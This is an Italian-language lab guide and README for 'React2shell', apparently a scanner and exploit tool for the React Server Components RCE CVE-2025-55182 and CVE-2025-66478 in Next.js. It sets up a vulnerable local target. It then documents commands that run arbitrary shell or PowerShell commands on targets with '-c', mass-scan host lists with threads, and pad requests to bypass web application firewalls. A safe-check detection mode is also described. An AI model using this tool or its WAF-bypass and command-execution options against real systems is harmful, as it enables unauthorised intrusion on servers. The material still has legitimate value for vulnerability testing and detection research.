
CVE-2025-55182(vulnerabilità di esecuzione remota di codice tramite deserializzazione nei React Server Components)
| Componente | Versione raccomandata per la riproduzione | Intervallo di versioni vulnerabili |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) e successive |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 o 19.2.0 | da 19.0.0 a 19.2.0 |
| RSC Bundler | react-server-dom-webpack | da 19.0.0 a 19.2.0 |
Forza l'installazione di una versione inferiore
cd cve-2025-55182-target
npm install --force
Verifica le versioni delle dipendenze
npm list react next
# Verifica che l'output mostri [email protected] e [email protected]
Finchè l'elenco delle dipendenze di primo livello mostra [email protected] e [email protected], l'ambiente è stato bloccato con successo in uno stato vulnerabile. Puoi ignorare eventuali avvisi e codici di errore.
Costruzione:
npm run build
Esecuzione:
npm start
Il server sarà in ascolto su http://localhost:3000. L'ambiente è pronto. Puoi iniziare la verifica della vulnerabilità.
Rilevamento/scansione delle vulnerabilità:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Un tool da riga di comando per rilevare le vulnerabilità CVE-2025-55182 e CVE-2025-66478 nei React Server Components (RSC) nelle applicazioni Next.js.
Per una descrizione dettagliata dei dettagli tecnici della vulnerabilità e dei metodi di rilevamento, consulta il nostro post sul blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Per impostazione predefinita, lo scanner invia una richiesta POST multipart appositamente predisposta contenente un payload di verifica RCE per eseguire un'operazione matematica deterministica (41*271 = 11111). L'host vulnerabile restituirà il risultato del calcolo nell'intestazione di risposta X-Action-Redirect come /login?a=11111.
Lo scanner testa prima il percorso radice. Se il percorso radice non è vulnerabile, segue i reindirizzamenti same-origin (ad esempio da / a /en/) e testa la destinazione del reindirizzamento. Non segue reindirizzamenti cross-origin.
Usando il flag --safe-check si attiva la modalità di rilevamento sicuro, che si basa su segnali indiretti (come codice di stato 500 e riepiloghi di errori specifici) senza eseguire codice sul target. Utilizza questa modalità quando non desideri eseguire RCE.
Usando il flag --waf-bypass viene aggiunto rumore casuale prima del corpo della richiesta multipart. Questo aiuta a bypassare i WAF che analizzano solo la parte iniziale del corpo. La dimensione predefinita è 128KB, configurabile con --waf-bypass-size. Quando il bypass WAF è abilitato, il timeout aumenta automaticamente a 20 secondi (a meno che non sia impostato esplicitamente).
Usando il flag --windows si passa il payload da Unix shell (echo $((41*271))) a PowerShell (powershell -c "41*271"), adatto per target in esecuzione su Windows.
pip install -r requirements.txt
Scansiona un singolo host:
python3 scanner.py -u https://example.com
Scansiona una lista di host:
python3 scanner.py -l hosts.txt
Scansiona con multithreading e salva i risultati:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scansiona con intestazioni personalizzate:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scansiona utilizzando il rilevamento bypass sicuro:
python3 scanner.py -u https://example.com --safe-check
Scansiona target Windows:
python3 scanner.py -u https://example.com --windows
Scansiona con bypass WAF:
python3 scanner.py -u https://example.com --waf-bypass
Esegui comando RCE:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url URL singolo da controllare
-c, --cmd Comando da eseguire
-l, --list File contenente host (uno per riga)
-t, --threads Numero di thread concorrenti (default: 10)
--timeout Timeout richiesta in secondi (default: 10)
-o, --output File di output per salvare i risultati (formato JSON)
--all-results Salva tutti i risultati, non solo gli host vulnerabili
-k, --insecure Disabilita la verifica del certificato SSL
-H, --header Intestazione personalizzata (può essere usata più volte)
-v, --verbose Mostra dettagli della risposta per host vulnerabili
-q, --quiet Mostra solo host vulnerabili
--no-color Disabilita output a colori
--safe-check Usa rilevamento bypass sicuro invece di RCE PoC
--windows Usa payload Windows PowerShell invece di Unix shell
--waf-bypass Aggiungi rumore per bypassare il rilevamento WAF dei contenuti
--waf-bypass-size Dimensione del rumore (KB, default: 128)
Il PoC per la RCE è stato originariamente divulgato pubblicamente da @maple3142 — siamo molto grati per il loro contributo nel rilasciare un PoC utilizzabile.
Questo tool è stato inizialmente creato per il rilevamento sicuro di questa RCE. Questa funzionalità è ancora disponibile tramite la modalità di rilevamento sicuro --safe-check.
Team di ricerca sulla sicurezza di Assetnote - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah xEHLE_ - Riflessione dell'output RCE nell'intestazione della risposta Nagli
I risultati vengono stampati sul terminale. Quando si usa il parametro -o, gli host vulnerabili vengono salvati in un file JSON, inclusi richiesta e risposta HTTP complete per verifica.